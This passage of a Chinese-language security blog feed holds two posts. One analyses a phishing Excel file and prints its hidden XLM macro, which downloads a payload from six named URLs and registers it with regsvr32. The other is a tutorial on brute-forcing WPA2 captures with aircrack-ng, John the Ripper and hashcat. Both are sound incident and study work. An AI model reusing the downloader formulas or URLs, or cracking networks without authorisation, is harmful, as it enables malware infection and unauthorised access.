style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAB_r7tGkkhOB_wDIswYwDyhT9DRjjoT01gerXAI7hmPXAd3ZjO-kGYD6dB9pnCwDX_SLVJg5bi_k_QGP0FTpvxiigqCHdsQNFyX8BqM_njWb1okrRwsvIC8K5LSQSu7o3o0FQzOkDiIF8ynFHMGZcFknlfu2CgKA6fFmnshqKnIzxuhe3ikWoyT1HEQ/s824/pic02.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;408&quot; data-original-width=&quot;824&quot; height=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAB_r7tGkkhOB_wDIswYwDyhT9DRjjoT01gerXAI7hmPXAd3ZjO-kGYD6dB9pnCwDX_SLVJg5bi_k_QGP0FTpvxiigqCHdsQNFyX8BqM_njWb1okrRwsvIC8K5LSQSu7o3o0FQzOkDiIF8ynFHMGZcFknlfu2CgKA6fFmnshqKnIzxuhe3ikWoyT1HEQ/w400-h198/pic02.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖2：OfficeMalScanner找不到巨集&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt; text-indent: 2em;&quot;&gt;再端詳此&lt;span style=&quot;font-family: arial;&quot;&gt;xls&lt;/span&gt;，發現只有一張試算表，上面就只有一張圖片，原本以為是想利用圖片騙人點擊，但查看圖片的屬性，也沒發現和巨集有關聯。無意中發現工作列左方的「&lt;span style=&quot;color: #2b00fe;&quot;&gt;名稱框&lt;/span&gt;」有蹊蹺（圖3），不管選哪一個名稱都不會跳到名稱所代表的儲存格，也就是說「&lt;span style=&quot;color: #cc0000;&quot;&gt;有東西被隱藏起來&lt;/span&gt;」，再回到&lt;span style=&quot;font-family: arial;&quot;&gt;VBScript&lt;/span&gt;編輯環境，真的發現有&lt;span style=&quot;color: #cc0000;&quot;&gt;四&lt;/span&gt;張工作表，但試算表環境只能看到&lt;span style=&quot;color: #cc0000;&quot;&gt;一&lt;/span&gt;張（圖4）。&lt;/span&gt;&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxylR2NwerCvoupwpfrRnkCecy7v9PjhAIISyiLFKYtDUJYZ8d7poevIcQ-8q-vq9lar7KxnIQwVGNHHqJQ9QLBkxk-SyINmFy-q2WmJxYHzBPwdj2V_K2RWoj1VbHOF2ZJDhqlrGMBSqAhrxCXPQLRKqqZmSx6I8U7F14QrPZn-phy5e8NFKG8CzZhA/s819/pic03.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;472&quot; data-original-width=&quot;819&quot; height=&quot;230&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxylR2NwerCvoupwpfrRnkCecy7v9PjhAIISyiLFKYtDUJYZ8d7poevIcQ-8q-vq9lar7KxnIQwVGNHHqJQ9QLBkxk-SyINmFy-q2WmJxYHzBPwdj2V_K2RWoj1VbHOF2ZJDhqlrGMBSqAhrxCXPQLRKqqZmSx6I8U7F14QrPZn-phy5e8NFKG8CzZhA/w400-h230/pic03.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖3：名稱卻找不到對應的儲存格&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0RfvUl9uvpAhEyw5FuIO9rcaoY24Jb_y5xoq4Iw-qEa4HIOeSoFr8zctZSJzo-rsiLEi285vnZjDPctdtuR7sWRuFgaUegCHs9zCdpza71uxDbVDt-otYuAGnVVt6Nl9CS-mjG1x84m7Exu6f2nBdvcqzjie0qCI8rNwBxUK6mVhtYk7t8n7KIBjKUg/s1186/pic04.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;656&quot; data-original-width=&quot;1186&quot; height=&quot;221&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0RfvUl9uvpAhEyw5FuIO9rcaoY24Jb_y5xoq4Iw-qEa4HIOeSoFr8zctZSJzo-rsiLEi285vnZjDPctdtuR7sWRuFgaUegCHs9zCdpza71uxDbVDt-otYuAGnVVt6Nl9CS-mjG1x84m7Exu6f2nBdvcqzjie0qCI8rNwBxUK6mVhtYk7t8n7KIBjKUg/w400-h221/pic04.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖4：在VBScript編輯環境可看到被隱藏的工作表&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt; text-indent: 2em;&quot;&gt;回到試算表環境，在下方頁籤點擊滑鼠右鍵，一一將隱藏的工作表還原，真的有五張工作表吔！可是~~可是~~，在&lt;span style=&quot;font-family: arial;&quot;&gt;VBScript&lt;/span&gt;編輯環境只看到四張表，哦！少了一張，那一張應該就是關鍵了！上網搜尋，的確有人提到&lt;/span&gt;&lt;a href=&quot;http://forum.twbts.com/viewthread.php?tid=77&amp;amp;extra=&quot; rel=&quot;nofollow&quot; style=&quot;font-size: 14pt; text-indent: 2em;&quot; target=&quot;_blank&quot;&gt;去除&lt;span style=&quot;font-family: arial;&quot;&gt;VBScript&lt;/span&gt;編輯環境裡的&lt;span style=&quot;font-family: arial;&quot;&gt;sheet&lt;/span&gt;之方法&lt;/a&gt;&lt;span style=&quot;font-size: 14pt; text-indent: 2em;&quot;&gt;（但沒有說如何復原）。&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;復原的&lt;span style=&quot;font-family: arial;&quot;&gt;Vv1&lt;/span&gt;、&lt;span style=&quot;font-family: arial;&quot;&gt;Vv2&lt;/span&gt;、&lt;span style=&quot;font-family: arial;&quot;&gt;Vv3&lt;/span&gt;這三張工作表只是一些參考文字，重點在&lt;span style=&quot;color: #cc0000; font-family: arial;&quot;&gt;FRHJDJDI&lt;/span&gt;這張工作表上，這張也是在&lt;span style=&quot;font-family: arial;&quot;&gt;VBScript&lt;/span&gt;編輯環境被去除的工作表。&lt;/p&gt;
&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;FRHJDJDI&lt;/span&gt;只在&lt;span style=&quot;color: #cc0000; font-family: arial;&quot;&gt;F10&lt;/span&gt;這一格有公式，它是利用&lt;span style=&quot;font-family: arial;&quot;&gt;Vv1&lt;/span&gt;、&lt;span style=&quot;font-family: arial;&quot;&gt;Vv2&lt;/span&gt;、&lt;span style=&quot;font-family: arial;&quot;&gt;Vv3&lt;/span&gt;三張表的內容兜成公式文字，再利用&lt;span style=&quot;font-family: arial;&quot;&gt;FORMULA()去&lt;/span&gt;執行，但&lt;span style=&quot;font-family: arial;&quot;&gt;FORMULA()&lt;/span&gt;並非&lt;span style=&quot;font-family: arial;&quot;&gt;Excel&lt;/span&gt;的內建公式，亦即它是攻擊者製作的巨集（&lt;span style=&quot;font-family: arial;&quot;&gt;VBScript&lt;/span&gt;），經分析，&lt;span style=&quot;font-family: arial;&quot;&gt;FRHJDJDI&lt;/span&gt;的&lt;span style=&quot;font-family: arial;&quot;&gt;F10&lt;/span&gt;儲存格是要執行下列動作：&lt;/p&gt;
&lt;div style=&quot;color: #1aac46; font-size: 9pt; line-height: 100%; margin: 0px;&quot;&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCBB&quot;,0,&quot;https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/&quot;,&quot;..\wurod.ocx&quot;,0,0)&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=IF(HRHRE1&amp;lt;0, CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCBB&quot;,0,&quot;https://www.ingonherbal.com/application/PhEbceg4Tx/&quot;,&quot;..\wurod.ocx&quot;,0,0))&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=IF(HRHRE2&amp;lt;0, CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCBB&quot;,0,&quot;http://ftp.colibriconstruction.net/cc/KHieqeOsagkmlGIuXc56/&quot;,&quot;..\wurod.ocx&quot;,0,0))&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=IF(HRHRE3&amp;lt;0, CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCBB&quot;,0,&quot;http://commune-ariana.tn/sites/3BvaCmo/&quot;,&quot;..\wurod.ocx&quot;,0,0))&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=IF(HRHRE4&amp;lt;0, CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCBB&quot;,0,&quot;http://dmaicinnovations.com/Swift-5.0.2/jEtePB/&quot;,&quot;..\wurod.ocx&quot;,0,0))&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=IF(HRHRE5&amp;lt;0, CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCBB&quot;,0,&quot;https://drcreative.cz/images/DwThyQntyImCHk0tpba/&quot;,&quot;..\wurod.ocx&quot;,0,0))&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=IF(HRHRE6&amp;lt;0, CLOSE(0),)&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=EXEC(&quot;C:\Windows\System32\regsvr32.exe ..\wurod.ocx&quot;)&lt;/pre&gt;
&lt;pre style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;=RETURN()&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;line-height: 150%;&quot;&gt;原來此&lt;span style=&quot;font-family: arial;&quot;&gt;xls&lt;/span&gt;是利用開啟活頁簿時，&lt;span style=&quot;font-family: arial;&quot;&gt;Excel&lt;/span&gt;會&lt;span style=&quot;color: #990000;&quot;&gt;自動計算公式&lt;/span&gt;的機制來執行惡意行為。從解析出來的公式，它會嘗試從六個來源下載木馬程式，只要有一個成功，就註冊成&lt;span style=&quot;font-family: arial;&quot;&gt;Active&lt;/span&gt;元件，至於這支惡意程式的功能還需等待逆向工程分析。&lt;span style=&quot;color: #38761d;&quot;&gt;另一個未解的問題是被去除工作表，有沒有方法可以將它回復？&lt;/span&gt;&lt;/p&gt;
&lt;hr /&gt;
  &lt;p&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;後記：&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
  &lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;line-height: 150%;&quot;&gt;感謝林易澍老師指導，原來這份檔案是使用Excel 4.0的巨集指令 (稱為xlm)，自Excel 95起已棄用Excel 4.0的巨集指令，而已用VBA，但現行的Excel版本仍具備執行xlm能力。難怪找不出這份文件裡的vba程式碼，原來是我功力不足，找錯方向！&lt;/p&gt;
  
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/1728976102061037764/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2022/05/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/1728976102061037764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/1728976102061037764'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2022/05/blog-post.html' title='社交工程事件調查'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgddQYYevMjDJSj4LxU_I0kAo9fIkP8NU57lsZ3qkc25nMsCZMIrGhkM1oXZeFxbBddJzggiwb1saTmoUuEu6FuKq5yxlxdasj3KYUrzE3GHePTCvgkECm7_And-o8_9dWFcm50w4Gz_uk_ByXPPQk0JzUIj-NBdkLpPBdm7ipJ_KcC9LEqVqm-TSR-ZQ/s72-w400-h154-c/pic01.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-4599655588899234573</id><published>2021-09-12T06:46:00.007+08:00</published><updated>2021-09-12T06:55:09.205+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="aircrack-ng"/><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>hashcat到底怎麼了？不認得cap2hccapx轉出的檔案</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(8, 108, 197); font-size: 14pt; line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
玩暴力破解的人，對John the Ripper(簡稱JtR)和Hashcat應該不陌生，這幾天趁空想比較JtR、Hashcat及Aircrack-ng破解WPA2的操作方法，論效能，大家潛意識會選Hashcat吧！所以這篇不是比較效能，而是比較不同的操作方法。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;三種方法的前置作業都是先擷取封包，就是利用airodump-ng抓取目標AP的封包。當收集足夠理想的封包後，接下來的作法就略有不同。本例採用「&lt;b&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;暴力破解&lt;/span&gt;&lt;/b&gt;」，假設密碼是8位的數字（密碼愈長愈複雜，破解時間愈長）。&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;利用aircrack-ng破解&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;aircrack-ng可以直接處理擷取到的*.cap檔，但本身無暴力產生密碼功能，需要借助用john的mask模式，指令如下：（aircrack-ng的&lt;span style=&quot;background-color: #fcff01;&quot;&gt;-w -&lt;/span&gt;參數表示從STDIN讀入字典）&lt;/p&gt;
&lt;div style=&quot;border: 2px solid green; margin: 0px; padding: 0px;&quot;&gt;
  &lt;div style=&quot;font-size: 12pt; margin-left: 8em; padding: 4px; text-indent: -8em;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;john &lt;/span&gt;--mask=?d?d?d?d?d?d?d?d --stdout | &lt;span style=&quot;color: #990000;&quot;&gt;aircrack&lt;/span&gt;-ng -a 2 -b 1C:AB:C0:DD:xx:xx abc-01.cap &lt;b&gt;&lt;span style=&quot;background-color: #fcff01; color: #cc0000;&quot;&gt;-w -&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYUExeZnYxFeEDWi2VVqbo9_3f4omJw-IBUYqN2-k8czrL4TVysFaXe-ojQXRH0zvDpJn-2xMIzuwZBUgklAHDadJ7ip0SjJheig5N1c467MH6-aC0PxkhbVBaqBSohM5PnkV8atLltuYG/s829/aircrack-ng-AP.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;665&quot; data-original-width=&quot;829&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYUExeZnYxFeEDWi2VVqbo9_3f4omJw-IBUYqN2-k8czrL4TVysFaXe-ojQXRH0zvDpJn-2xMIzuwZBUgklAHDadJ7ip0SjJheig5N1c467MH6-aC0PxkhbVBaqBSohM5PnkV8atLltuYG/s400/aircrack-ng-AP.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;利用Johnt the Ripper破解&lt;/p&gt;
&lt;p&gt;要使用JtR破解WPA2，必須先利用wpapcap2john將*.cap轉成JtR認得的格式：&lt;/p&gt;
&lt;div style=&quot;border: 2px solid green; margin: 0px; padding: 0px;&quot;&gt;
  &lt;div style=&quot;font-size: 12pt; margin-left: 8em; padding: 4px; text-indent: -8em;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;wpapcap2john&lt;/span&gt; abc-0*.cap &amp;gt;&amp;nbsp; ap.john&lt;/div&gt;
&lt;div style=&quot;font-size: 12pt; margin-left: 8em; padding: 4px; text-indent: -8em;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;john &lt;/span&gt;--mask=?d?d?d?d?d?d?d?d --format=wpapsk ap.john&lt;/div&gt;
  &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVYHrOgSSZEZV_Am7uuKVm_AyRgM7Nf9bchV9zfgYh_Te9pFD-8XcItTf01BrtQGWBPrCLjc1xa0kavToEQjQxBdiQVFMKW5eHdML7hDnNU_8TF1zcZ054xaOC7CFXuBoLqPlI70BjkngL/s828/john_the_ripper-AP.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;541&quot; data-original-width=&quot;828&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVYHrOgSSZEZV_Am7uuKVm_AyRgM7Nf9bchV9zfgYh_Te9pFD-8XcItTf01BrtQGWBPrCLjc1xa0kavToEQjQxBdiQVFMKW5eHdML7hDnNU_8TF1zcZ054xaOC7CFXuBoLqPlI70BjkngL/s400/john_the_ripper-AP.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;利用Hashcat破解&lt;/p&gt;
&lt;p&gt;要使用Hashcat破解WPA2，必須先利用cap2hccpax或aircrack-ng將*.cap轉成hccapx格式：&lt;/p&gt;
&lt;div style=&quot;border: 2px solid green; margin: 0px; padding: 0px;&quot;&gt;
  &lt;div style=&quot;font-size: 12pt; margin-left: 8em; padding: 4px; text-indent: -8em;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;aircrack-ng &lt;/span&gt;-j ap.hccapx abc-01.cap&lt;/div&gt;
&lt;div style=&quot;font-size: 12pt; margin-left: 8em; padding: 4px; text-indent: -8em;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;cap2hccapx&lt;/span&gt; abc-01.cap ap.hccapx&lt;/div&gt;
&lt;div style=&quot;font-size: 12pt; margin-left: 8em; padding: 4px; text-indent: -8em;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;hashcat &lt;/span&gt;-a 3 -m 22000 ap.hccapx ?d?d?d?d?d?d?d?d&lt;/div&gt;
  &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvjYDTfl0FUvkfUELWz37TDkFPeIgf_prgBLlVe1emb8rHJ5wbqBY_VgN7TX4j-xQ_yDcRwofKxZwmpCiZzKof9rVAv3b_1z-Cfm_46jksWkFsM4xqRWlaFuM8lBLCh3HgpYkbgubqmzaH/s907/hashcat-AP.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;828&quot; data-original-width=&quot;907&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvjYDTfl0FUvkfUELWz37TDkFPeIgf_prgBLlVe1emb8rHJ5wbqBY_VgN7TX4j-xQ_yDcRwofKxZwmpCiZzKof9rVAv3b_1z-Cfm_46jksWkFsM4xqRWlaFuM8lBLCh3HgpYkbgubqmzaH/s400/hashcat-AP.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;hr /&gt;
  &lt;p style=&quot;font-weight: bold;&quot;&gt;不同版本的hccapx&lt;/p&gt;
&lt;div style=&quot;margin-bottom: 8px;&quot;&gt;Kali裡的hashcat 6.1.1版可以正常破解cap2hccpax轉出的檔案，但Windows 10裡的6.2.4卻出現下列錯誤：&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUVVkQrkDtebL7j0_q5Rc28B7pYv7JooXeUCqWXK7nIhdo8kTVeE757SpJDWMzbG-62jOpJFiMPQxwzVYccMvxzCUroTIotQp9c-hpc7oO1yZLmIkwtu4r6tEHbdk0P-Xxau4bnL7CyOuF/s804/hashcat-separator_unmatched.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;695&quot; data-original-width=&quot;804&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUVVkQrkDtebL7j0_q5Rc28B7pYv7JooXeUCqWXK7nIhdo8kTVeE757SpJDWMzbG-62jOpJFiMPQxwzVYccMvxzCUroTIotQp9c-hpc7oO1yZLmIkwtu4r6tEHbdk0P-Xxau4bnL7CyOuF/s400/hashcat-separator_unmatched.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;p&gt;由&lt;a href=&quot;https://hashcat.net/cap2hashcat/&quot;&gt;https://hashcat.net/cap2hashcat/&lt;/a&gt;線上轉檔的結果，hashcat 6.2.4版則可正常處理。&lt;/p&gt;
&lt;div&gt;1. 將.cap檔上傳到&lt;a href=&quot;https://hashcat.net/cap2hashcat/&quot;&gt;https://hashcat.net/cap2hashcat/&lt;/a&gt;&lt;br /&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjxpA9ymprexFIImLw1updc8Y1h9yssB-cKr-rxhWuqceuYC0mr5zZetMIx50KyPAsNCyimenqxkXMd0XkJ61zs5wqtJDUqkmC0aahcc25Bqv_XSj4kNFgQmdd8va3stUKpcgQ9l-EhU1f/s1330/Conver-online.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;587&quot; data-original-width=&quot;1330&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjxpA9ymprexFIImLw1updc8Y1h9yssB-cKr-rxhWuqceuYC0mr5zZetMIx50KyPAsNCyimenqxkXMd0XkJ61zs5wqtJDUqkmC0aahcc25Bqv_XSj4kNFgQmdd8va3stUKpcgQ9l-EhU1f/s400/Conver-online.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;div&gt;2. 下載轉檔後的結果&lt;br /&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDdPLsaeGdoGsQX0O7x_rGzSQzppC10JSb8aj-BKRh6bwiaFYyjoWQh551Dz6FUnd2MYZOtNeHU8Hqspo_SQ1p2uXmNezHXWzPB0S6K8RKjhZBOcXgyukE-KhR0GqNk8rO4gWUl6ys5VuH/s1023/Conver-online-download.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;891&quot; data-original-width=&quot;1023&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDdPLsaeGdoGsQX0O7x_rGzSQzppC10JSb8aj-BKRh6bwiaFYyjoWQh551Dz6FUnd2MYZOtNeHU8Hqspo_SQ1p2uXmNezHXWzPB0S6K8RKjhZBOcXgyukE-KhR0GqNk8rO4gWUl6ys5VuH/s400/Conver-online-download.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;經比較發現，&lt;span style=&quot;font-size: 14pt; text-indent: 37.3333px;&quot;&gt;cap2hccpax或aircrack-ng轉檔的結果是二進制檔，而&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; text-indent: 2em;&quot;&gt;線上轉檔的結果是文字檔，所以，想用Windows的hashcat破解WPA2，可以將*.cap檔上傳到&lt;/span&gt;&lt;a href=&quot;https://hashcat.net/cap2hashcat/&quot; style=&quot;font-size: 14pt; text-indent: 2em;&quot;&gt;https://hashcat.net/cap2hashcat/&lt;/a&gt;&lt;span style=&quot;font-size: 14pt; text-indent: 2em;&quot;&gt;轉檔。&lt;/span&gt;&lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJWSS9T3ko9zatTPnluKQXCnXjU8Ue7cA3OcErKRoGD-ffQ400D93ERCpTQEJGx8bHzQNtrCuHHemtYVJ9qYyNG1SIvWK4u3_X_cae1UwVOUEoHbaqQ4DCH5QyGZ0CJ7hxa5rt98edXy34/s914/cmp-hccapx.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;914&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJWSS9T3ko9zatTPnluKQXCnXjU8Ue7cA3OcErKRoGD-ffQ400D93ERCpTQEJGx8bHzQNtrCuHHemtYVJ9qYyNG1SIvWK4u3_X_cae1UwVOUEoHbaqQ4DCH5QyGZ0CJ7hxa5rt98edXy34/s400/cmp-hccapx.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/4599655588899234573/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2021/09/hashcatcap2hccapx.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/4599655588899234573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/4599655588899234573'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2021/09/hashcatcap2hccapx.html' title='hashcat到底怎麼了？不認得cap2hccapx轉出的檔案'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYUExeZnYxFeEDWi2VVqbo9_3f4omJw-IBUYqN2-k8czrL4TVysFaXe-ojQXRH0zvDpJn-2xMIzuwZBUgklAHDadJ7ip0SjJheig5N1c467MH6-aC0PxkhbVBaqBSohM5PnkV8atLltuYG/s72-c/aircrack-ng-AP.PNG" height="72" 